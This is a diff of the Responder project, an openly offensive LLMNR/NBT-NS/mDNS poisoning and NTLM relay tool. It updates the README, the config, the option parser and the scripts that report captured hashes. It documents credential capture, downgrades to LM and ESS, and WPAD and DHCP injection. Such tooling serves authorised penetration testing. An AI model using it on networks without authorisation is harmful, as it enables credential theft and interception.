@ -0,0 +1,76 @@
|
|||
Commits | user
|
||||
15 @jrmdev
|
||||
7 @nobbd
|
||||
6 @ValdikSS
|
||||
6 @also-here
|
||||
5 @HexPandaa
|
||||
5 @exploide
|
||||
5 @jvoisin
|
||||
4 @Clément Notin
|
||||
4 @Shutdown
|
||||
4 @Yannick Méheut
|
||||
3 @Hank Leininger
|
||||
3 @brightio
|
||||
3 @byt3bl33d3r
|
||||
3 @myst404
|
||||
3 @skelsec
|
||||
2 @Alexandre ZANNI
|
||||
2 @Crypt0-M3lon
|
||||
2 @Laban Sköllermark
|
||||
2 @Matthew Daley
|
||||
2 @Pixis
|
||||
2 @Rob Fuller
|
||||
2 @ThePirateWhoSmellsOfSunflowers
|
||||
2 @Vincent Yiu
|
||||
2 @requin
|
||||
1 @Andrii Nechytailov
|
||||
1 @Antonio Herraiz
|
||||
1 @Chris Maddalena
|
||||
1 @Euan
|
||||
1 @Garret Picchioni
|
||||
1 @Gifts
|
||||
1 @Gustaf Blomqvist
|
||||
1 @Hubert Seiwert
|
||||
1 @IMcPwn
|
||||
1 @Jared Haight
|
||||
1 @Jim Shaver
|
||||
1 @Khiem Doan
|
||||
1 @Leon Jacobs
|
||||
1 @Lionel PRAT
|
||||
1 @Markus
|
||||
1 @MatToufoutu
|
||||
1 @Matt
|
||||
1 @Matt Andreko
|
||||
1 @Matt Kelly
|
||||
1 @Nikos Vassakis
|
||||
1 @OJ
|
||||
1 @Paul A
|
||||
1 @Randy Ramos
|
||||
1 @SAERXCIT
|
||||
1 @Sagar-Jangam
|
||||
1 @Sans23
|
||||
1 @Sophie Brun
|
||||
1 @Stephen Shkardoon
|
||||
1 @Syntricks
|
||||
1 @Timon Hackenjos
|
||||
1 @Tom Aviv
|
||||
1 @Ziga P
|
||||
1 @cweedon
|
||||
1 @deltronzero
|
||||
1 @f3rn0s
|
||||
1 @jackassplus
|
||||
1 @jb
|
||||
1 @kevintellier
|
||||
1 @kitchung
|
||||
1 @klemou
|
||||
1 @lanjelot
|
||||
1 @nickyb
|
||||
1 @nodauf
|
||||
1 @nop5L3D
|
||||
1 @pixis
|
||||
1 @ravenium
|
||||
1 @soa
|
||||
1 @steven
|
||||
1 @thejosko
|
||||
1 @trustedsec
|
||||
|
12
DumpHash.py
12
DumpHash.py
|
@ -1,4 +1,4 @@
|
|||
#!/usr/bin/env python
|
||||
#!/usr/bin/env python3
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
|
@ -28,14 +28,20 @@ def GetResponderCompleteNTLMv2Hash(cursor):
|
|||
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
||||
Output = ""
|
||||
for row in res.fetchall():
|
||||
Output += '{0}'.format(row[0])+'\n'
|
||||
if "$" in row[0]:
|
||||
pass
|
||||
else:
|
||||
Output += '{0}'.format(row[0])+'\n'
|
||||
return Output
|
||||
|
||||
def GetResponderCompleteNTLMv1Hash(cursor):
|
||||
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
||||
Output = ""
|
||||
for row in res.fetchall():
|
||||
Output += '{0}'.format(row[0])+'\n'
|
||||
if "$" in row[0]:
|
||||
pass
|
||||
else:
|
||||
Output += '{0}'.format(row[0])+'\n'
|
||||
return Output
|
||||
|
||||
cursor = DbConnect()
|
||||
|
|
136
README.md
Normal file → Executable file
136
README.md
Normal file → Executable file
|
@ -1,6 +1,6 @@
|
|||
# Responder/MultiRelay #
|
||||
|
||||
LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
|
||||
IPv6/IPv4 LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
|
||||
|
||||
Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com
|
||||
|
||||
|
@ -8,23 +8,23 @@ Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.c
|
|||
|
||||
## Intro ##
|
||||
|
||||
Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB.
|
||||
|
||||
The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix.
|
||||
Responder is an LLMNR, NBT-NS and MDNS poisoner.
|
||||
|
||||
## Features ##
|
||||
|
||||
- Dual IPv6/IPv4 stack.
|
||||
|
||||
- Built-in SMB Auth server.
|
||||
|
||||
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. SMBv2 has also been implemented and is supported by default.
|
||||
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. If --disable-ess is set, extended session security will be disabled for NTLMv1 authentication. SMBv2 has also been implemented and is supported by default.
|
||||
|
||||
- Built-in MSSQL Auth server.
|
||||
|
||||
In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005 & 2008.
|
||||
This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019.
|
||||
|
||||
- Built-in HTTP Auth server.
|
||||
|
||||
In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 10, Firefox, Chrome, Safari.
|
||||
This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari.
|
||||
|
||||
Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim.
|
||||
|
||||
|
@ -34,7 +34,11 @@ Same as above. The folder certs/ contains 2 default keys, including a dummy pri
|
|||
|
||||
- Built-in LDAP Auth server.
|
||||
|
||||
In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
|
||||
This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
|
||||
|
||||
- Built-in DCE-RPC Auth server.
|
||||
|
||||
This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019.
|
||||
|
||||
- Built-in FTP, POP3, IMAP, SMTP Auth servers.
|
||||
|
||||
|
@ -42,7 +46,7 @@ This modules will collect clear text credentials.
|
|||
|
||||
- Built-in DNS server.
|
||||
|
||||
This server will answer type A queries. This is really handy when it's combined with ARP spoofing.
|
||||
This server will answer type SRV and A queries. This is really handy when it's combined with ARP spoofing.
|
||||
|
||||
- Built-in WPAD Proxy Server.
|
||||
|
||||
|
@ -52,10 +56,6 @@ This module will capture all HTTP requests from anyone launching Internet Explor
|
|||
|
||||
This module allows to find the PDC in stealth mode.
|
||||
|
||||
- Fingerprinting
|
||||
|
||||
When the option -f is used, Responder will fingerprint every host who issued an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode.
|
||||
|
||||
- Icmp Redirect
|
||||
|
||||
python tools/Icmp-Redirect.py
|
||||
|
@ -66,7 +66,7 @@ For MITM on Windows XP/2003 and earlier Domain members. This attack combined wit
|
|||
|
||||
python tools/DHCP.py
|
||||
|
||||
DHCP Inform Spoofing. Allows you to let the real DHCP Server issue IP addresses, and then send a DHCP Inform answer to set your IP address as a primary DNS server, and your own WPAD URL.
|
||||
DHCP Inform Spoofing. Allows you to let the real DHCP Server issue IP addresses, and then send a DHCP Inform answer to set your IP address as a primary DNS server, and your own WPAD URL. To inject a DNS server, domain, route on all Windows version and any linux box, use -R
|
||||
|
||||
- Analyze mode.
|
||||
|
||||
|
@ -81,7 +81,7 @@ All hashes are printed to stdout and dumped in a unique John Jumbo compliant fil
|
|||
Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v).
|
||||
|
||||
- Responder will log all its activity to Responder-Session.log
|
||||
- Analyze mode will be logged to Analyze-Session.log
|
||||
- Analyze mode will be logged to Analyzer-Session.log
|
||||
- Poisoning will be logged to Poisoners-Session.log
|
||||
|
||||
Additionally, all captured hashed are logged into an SQLite database which you can configure in Responder.conf
|
||||
|
@ -89,7 +89,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c
|
|||
|
||||
## Considerations ##
|
||||
|
||||
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128, Multicast UDP 5355 and 5353.
|
||||
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 135, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128, Multicast UDP 5355 and 5353.
|
||||
|
||||
- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
|
||||
|
||||
|
@ -121,46 +121,64 @@ Running the tool:
|
|||
|
||||
Typical Usage Example:
|
||||
|
||||
./Responder.py -I eth0 -rPv
|
||||
./Responder.py -I eth0 -Pv
|
||||
|
||||
Options:
|
||||
|
||||
--version show program's version number and exit.
|
||||
-h, --help show this help message and exit.
|
||||
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
|
||||
BROWSER, LLMNR requests without responding.
|
||||
-I eth0, --interface=eth0
|
||||
Network interface to use.
|
||||
-i 10.0.0.21, --ip=10.0.0.21
|
||||
Local IP to use (only for OSX)
|
||||
-e 10.0.0.22, --externalip=10.0.0.22
|
||||
Poison all requests with another IP address than
|
||||
Responder's one.
|
||||
-b, --basic Return a Basic HTTP authentication. Default: NTLM
|
||||
-r, --wredir Enable answers for netbios wredir suffix queries.
|
||||
Answering to wredir will likely break stuff on the
|
||||
network. Default: Off
|
||||
-d, --NBTNSdomain Enable answers for netbios domain suffix queries.
|
||||
Answering to domain suffixes will likely break stuff
|
||||
on the network. Default: Off
|
||||
-f, --fingerprint This option allows you to fingerprint a host that
|
||||
issued an NBT-NS or LLMNR query.
|
||||
-w, --wpad Start the WPAD rogue proxy server. Default value is
|
||||
Off
|
||||
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
|
||||
Upstream HTTP proxy used by the rogue WPAD Proxy for
|
||||
outgoing requests (format: host:port)
|
||||
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
|
||||
retrieval. This may cause a login prompt. Default:
|
||||
Off
|
||||
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
|
||||
authentication for the proxy. WPAD doesn't need to
|
||||
be ON. This option is highly effective when combined
|
||||
with -r. Default: Off
|
||||
--lm Force LM hashing downgrade for Windows XP/2003 and
|
||||
earlier. Default: Off
|
||||
-v, --verbose Increase verbosity.
|
||||
|
||||
--version show program's version number and exit
|
||||
-h, --help show this help message and exit
|
||||
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
|
||||
BROWSER, LLMNR requests without responding.
|
||||
-I eth0, --interface=eth0
|
||||
Network interface to use, you can use 'ALL' as a
|
||||
wildcard for all interfaces
|
||||
-i 10.0.0.21, --ip=10.0.0.21
|
||||
Local IP to use (only for OSX)
|
||||
-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
|
||||
Poison all requests with another IPv6 address than
|
||||
Responder's one.
|
||||
-e 10.0.0.22, --externalip=10.0.0.22
|
||||
Poison all requests with another IP address than
|
||||
Responder's one.
|
||||
-b, --basic Return a Basic HTTP authentication. Default: NTLM
|
||||
-d, --DHCP Enable answers for DHCP broadcast requests. This
|
||||
option will inject a WPAD server in the DHCP response.
|
||||
Default: False
|
||||
-D, --DHCP-DNS This option will inject a DNS server in the DHCP
|
||||
response, otherwise a WPAD server will be added.
|
||||
Default: False
|
||||
-w, --wpad Start the WPAD rogue proxy server. Default value is
|
||||
False
|
||||
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
|
||||
Upstream HTTP proxy used by the rogue WPAD Proxy for
|
||||
outgoing requests (format: host:port)
|
||||
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
|
||||
retrieval. This may cause a login prompt. Default:
|
||||
False
|
||||
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
|
||||
authentication for the proxy. WPAD doesn't need to be
|
||||
ON. This option is highly effective. Default: False
|
||||
-Q, --quiet Tell Responder to be quiet, disables a bunch of
|
||||
printing from the poisoners. Default: False
|
||||
--lm Force LM hashing downgrade for Windows XP/2003 and
|
||||
earlier. Default: False
|
||||
--disable-ess Force ESS downgrade. Default: False
|
||||
-v, --verbose Increase verbosity.
|
||||
-t 1e, --ttl=1e Change the default Windows TTL for poisoned answers.
|
||||
Value in hex (30 seconds = 1e). use '-t random' for
|
||||
random TTL
|
||||
-N ANSWERNAME, --AnswerName=ANSWERNAME
|
||||
Specifies the canonical name returned by the LLMNR
|
||||
poisoner in its Answer section. By default, the
|
||||
answer's canonical name is the same as the query.
|
||||
Changing this value is mainly useful when attempting
|
||||
to perform Kerberos relaying over HTTP.
|
||||
-E, --ErrorCode Changes the error code returned by the SMB server to
|
||||
STATUS_LOGON_FAILURE. By default, the status is
|
||||
STATUS_ACCESS_DENIED. Changing this value permits to
|
||||
obtain WebDAV authentications from the poisoned
|
||||
machines where the WebClient service is running.
|
||||
|
||||
|
||||
## Donation ##
|
||||
|
||||
|
@ -168,17 +186,20 @@ You can contribute to this project by donating to the following $XLM (Stellar Lu
|
|||
|
||||
"GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH"
|
||||
|
||||
Or BTC address:
|
||||
Paypal:
|
||||
|
||||
https://paypal.me/PythonResponder
|
||||
|
||||
"1HkFmFs5fmbCoJ7ZM5HHbGgjyqemfU9o7Q"
|
||||
|
||||
## Acknowledgments ##
|
||||
|
||||
Late Responder development has been possible because of the donations received from individuals and companies.
|
||||
|
||||
We would like to thanks those major donator:
|
||||
We would like to thanks those major sponsors:
|
||||
|
||||
- SecureWorks : https://www.secureworks.com/
|
||||
- SecureWorks: https://www.secureworks.com/
|
||||
|
||||
- Synacktiv: https://www.synacktiv.com/
|
||||
|
||||
- Black Hills Information Security: http://www.blackhillsinfosec.com/
|
||||
|
||||
|
@ -192,6 +213,7 @@ We would like to thanks those major donator:
|
|||
|
||||
Thank you.
|
||||
|
||||
|
||||
## Copyright ##
|
||||
|
||||
NBT-NS/LLMNR Responder
|
||||
|
|
46
Report.py
46
Report.py
|
@ -1,4 +1,4 @@
|
|||
#!/usr/bin/env python
|
||||
#!/usr/bin/env python3
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
|
@ -31,6 +31,10 @@ def DbConnect():
|
|||
cursor = sqlite3.connect("./Responder.db")
|
||||
return cursor
|
||||
|
||||
def FingerDbConnect():
|
||||
cursor = sqlite3.connect("./tools/RunFinger.db")
|
||||
return cursor
|
||||
|
||||
def GetResponderData(cursor):
|
||||
res = cursor.execute("SELECT * FROM Responder")
|
||||
for row in res.fetchall():
|
||||
|
@ -39,7 +43,7 @@ def GetResponderData(cursor):
|
|||
def GetResponderUsernamesStatistic(cursor):
|
||||
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
|
||||
for row in res.fetchall():
|
||||
print(color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1))
|
||||
print(color('\n[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1))
|
||||
|
||||
def GetResponderUsernames(cursor):
|
||||
res = cursor.execute("SELECT DISTINCT user FROM Responder")
|
||||
|
@ -57,16 +61,33 @@ def GetResponderCompleteHash(cursor):
|
|||
for row in res.fetchall():
|
||||
print('{0}'.format(row[0]))
|
||||
|
||||
def GetUniqueLookupsIP(cursor):
|
||||
res = cursor.execute("SELECT Poisoner, SentToIp FROM Poisoned WHERE Poisoner in (SELECT DISTINCT UPPER(Poisoner) FROM Poisoned)")
|
||||
for row in res.fetchall():
|
||||
if 'fe80::' in row[1]:
|
||||
pass
|
||||
else:
|
||||
print('Protocol: {0}, IP: {1}'.format(row[0], row[1]))
|
||||
|
||||
def GetUniqueLookups(cursor):
|
||||
res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
|
||||
for row in res.fetchall():
|
||||
print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
|
||||
|
||||
def GetUniqueDHCP(cursor):
|
||||
res = cursor.execute("SELECT * FROM DHCP WHERE MAC in (SELECT DISTINCT UPPER(MAC) FROM DHCP)")
|
||||
for row in res.fetchall():
|
||||
print('MAC: {0}, IP: {1}, RequestedIP: {2}'.format(row[1], row[2], row[3]))
|
||||
|
||||
def GetRunFinger(cursor):
|
||||
res = cursor.execute("SELECT * FROM RunFinger WHERE Host in (SELECT DISTINCT Host FROM RunFinger)")
|
||||
for row in res.fetchall():
|
||||
print(("{},['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime:'{}', Signing:'{}', Null Session: '{}', RDP:'{}', SMB1:'{}', MSSQL:'{}']".format(row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8], row[9], row[10], row[11])))
|
||||
|
||||
def GetStatisticUniqueLookups(cursor):
|
||||
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
|
||||
for row in res.fetchall():
|
||||
print(color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1))
|
||||
print(color('\n[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1))
|
||||
|
||||
|
||||
def SavePoisonersToDb(result):
|
||||
|
@ -82,8 +103,13 @@ def SaveToDb(result):
|
|||
result[k] = ''
|
||||
|
||||
cursor = DbConnect()
|
||||
print(color("[+] Generating report...", code = 3, modifier = 1))
|
||||
print(color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
|
||||
print(color("[+] Generating report...\n", code = 3, modifier = 1))
|
||||
|
||||
print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1))
|
||||
GetUniqueDHCP(cursor)
|
||||
print(color("\n[+] Unique IP using legacy protocols:", code = 2, modifier = 1))
|
||||
GetUniqueLookupsIP(cursor)
|
||||
print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
|
||||
GetUniqueLookups(cursor)
|
||||
GetStatisticUniqueLookups(cursor)
|
||||
print(color("\n[+] Extracting captured usernames:", code = 2, modifier = 1))
|
||||
|
@ -91,5 +117,11 @@ GetResponderUsernames(cursor)
|
|||
print(color("\n[+] Username details:", code = 2, modifier = 1))
|
||||
GetResponderUsernamesWithDetails(cursor)
|
||||
GetResponderUsernamesStatistic(cursor)
|
||||
#print color("\n[+] Captured hashes:", code = 2, modifier = 1)
|
||||
#GetResponderCompleteHash(cursor)
|
||||
print (color("\n[+] RunFinger Scanned Hosts:", code = 2, modifier = 1))
|
||||
cursor.close()
|
||||
try:
|
||||
cursor = FingerDbConnect()
|
||||
GetRunFinger(cursor)
|
||||
except:
|
||||
pass
|
||||
print('\n')
|
||||
|
|
62
Responder.conf
Normal file → Executable file
62
Responder.conf
Normal file → Executable file
|
@ -1,20 +1,30 @@
|
|||
[Responder Core]
|
||||
|
||||
; Servers to start
|
||||
SQL = On
|
||||
SMB = On
|
||||
RDP = On
|
||||
Kerberos = On
|
||||
FTP = On
|
||||
POP = On
|
||||
SMTP = On
|
||||
IMAP = On
|
||||
HTTP = On
|
||||
HTTPS = On
|
||||
DNS = On
|
||||
LDAP = On
|
||||
; Poisoners to start
|
||||
MDNS = On
|
||||
LLMNR = On
|
||||
NBTNS = On
|
||||
|
||||
; Custom challenge.
|
||||
; Servers to start
|
||||
SQL = On
|
||||
SMB = On
|
||||
QUIC = On
|
||||
RDP = On
|
||||
Kerberos = On
|
||||
FTP = On
|
||||
POP = On
|
||||
SMTP = On
|
||||
IMAP = On
|
||||
HTTP = On
|
||||
HTTPS = On
|
||||
DNS = On
|
||||
LDAP = On
|
||||
DCERPC = On
|
||||
WINRM = On
|
||||
SNMP = On
|
||||
MQTT = On
|
||||
|
||||
; Custom challenge.
|
||||
; Use "Random" for generating a random challenge for each requests (Default)
|
||||
Challenge = Random
|
||||
|
||||
|
@ -35,21 +45,27 @@ AnalyzeLog = Analyzer-Session.log
|
|||
ResponderConfigDump = Config-Responder.log
|
||||
|
||||
; Specific IP Addresses to respond to (default = All)
|
||||
; Example: RespondTo = 10.20.1.100-150, 10.20.3.10
|
||||
; Example: RespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334
|
||||
RespondTo =
|
||||
|
||||
; Specific NBT-NS/LLMNR names to respond to (default = All)
|
||||
; Example: RespondTo = WPAD, DEV, PROD, SQLINT
|
||||
;RespondToName = WPAD, DEV, PROD, SQLINT
|
||||
RespondToName =
|
||||
|
||||
; Specific IP Addresses not to respond to (default = None)
|
||||
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
|
||||
; Hosts with IPv4 and IPv6 addresses must have both addresses included to prevent responding.
|
||||
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334
|
||||
DontRespondTo =
|
||||
|
||||
; Specific NBT-NS/LLMNR names not to respond to (default = None)
|
||||
; Example: DontRespondTo = NAC, IPS, IDS
|
||||
; Example: DontRespondToName = NAC, IPS, IDS
|
||||
DontRespondToName = ISATAP
|
||||
|
||||
; MDNS TLD not to respond to (default = _dosvc). Do not add the ".", only the TLD.
|
||||
; Example: DontRespondToTLD = _dosvc, _blasvc, etc
|
||||
DontRespondToTLD = _dosvc
|
||||
|
||||
; If set to On, we will stop answering further requests from a host
|
||||
; if a hash has been previously captured for this host.
|
||||
AutoIgnoreAfterSuccess = Off
|
||||
|
@ -59,8 +75,8 @@ AutoIgnoreAfterSuccess = Off
|
|||
; This may break file serving and is useful only for hash capture
|
||||
CaptureMultipleCredentials = On
|
||||
|
||||
; If set to On, we will write to file all hashes captured from the same host.
|
||||
; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto,
|
||||
; If set to On, we will write to file all hashes captured from the same host.
|
||||
; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto,
|
||||
; domain\popo, domain\zozo. Recommended value: On, capture everything.
|
||||
CaptureMultipleHashFromSameHost = On
|
||||
|
||||
|
@ -86,12 +102,12 @@ ExeFilename = ;files/filetoserve.exe
|
|||
ExeDownloadName = ProxyClient.exe
|
||||
|
||||
; Custom WPAD Script
|
||||
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return 'PROXY ProxySrv:3128; PROXY ProxySrv:3141; DIRECT';}
|
||||
; Only set one if you really know what you're doing. Responder is taking care of that and inject the right one, with your current IP address.
|
||||
WPADScript =
|
||||
|
||||
; HTML answer to inject in HTTP responses (before </body> tag).
|
||||
; Set to an empty string to disable.
|
||||
; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
|
||||
HTMLToInject = <img src='file://///RespProxySrv/pictures/logso.jpg' alt='Loading' height='1' width='1'>
|
||||
; leave empty if you want to use the default one (redirect to SMB on your IP address).
|
||||
HTMLToInject =
|
||||
|
||||
[HTTPS Server]
|
||||
|
||||
|
|
202
Responder.py
202
Responder.py
|
@ -1,4 +1,4 @@
|
|||
#!/usr/bin/env python
|
||||
#!/usr/bin/env python3
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
|
@ -14,6 +14,7 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import asyncio
|
||||
import optparse
|
||||
import ssl
|
||||
try:
|
||||
|
@ -25,34 +26,42 @@ from utils import *
|
|||
import struct
|
||||
banner()
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0])
|
||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -d\nor:\npython %prog -I eth0 -wd', version=settings.__version__, prog=sys.argv[0])
|
||||
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
|
||||
parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
|
||||
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
|
||||
|
||||
parser.add_option('-6', "--externalip6", action="store", help="Poison all requests with another IPv6 address than Responder's one.", dest="ExternalIP6", metavar="2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed", default=None)
|
||||
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
|
||||
|
||||
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
|
||||
parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
|
||||
parser.add_option('-d', '--NBTNSdomain', action="store_true", help="Enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False", dest="NBTNSDomain", default=False)
|
||||
parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False)
|
||||
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
|
||||
parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)
|
||||
|
||||
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
|
||||
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
|
||||
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
|
||||
|
||||
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False", dest="ProxyAuth_On_Off", default=False)
|
||||
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False)
|
||||
parser.add_option('-Q','--quiet', action="store_true", help="Tell Responder to be quiet, disables a bunch of printing from the poisoners. Default: False", dest="Quiet", default=False)
|
||||
|
||||
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
|
||||
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
|
||||
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
|
||||
parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
|
||||
parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in its Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kerberos relaying over HTTP.", dest="AnswerName", default=None)
|
||||
parser.add_option('-E', '--ErrorCode', action="store_true", help="Changes the error code returned by the SMB server to STATUS_LOGON_FAILURE. By default, the status is STATUS_ACCESS_DENIED. Changing this value permits to obtain WebDAV authentications from the poisoned machines where the WebClient service is running.", dest="ErrorCode", default=False)
|
||||
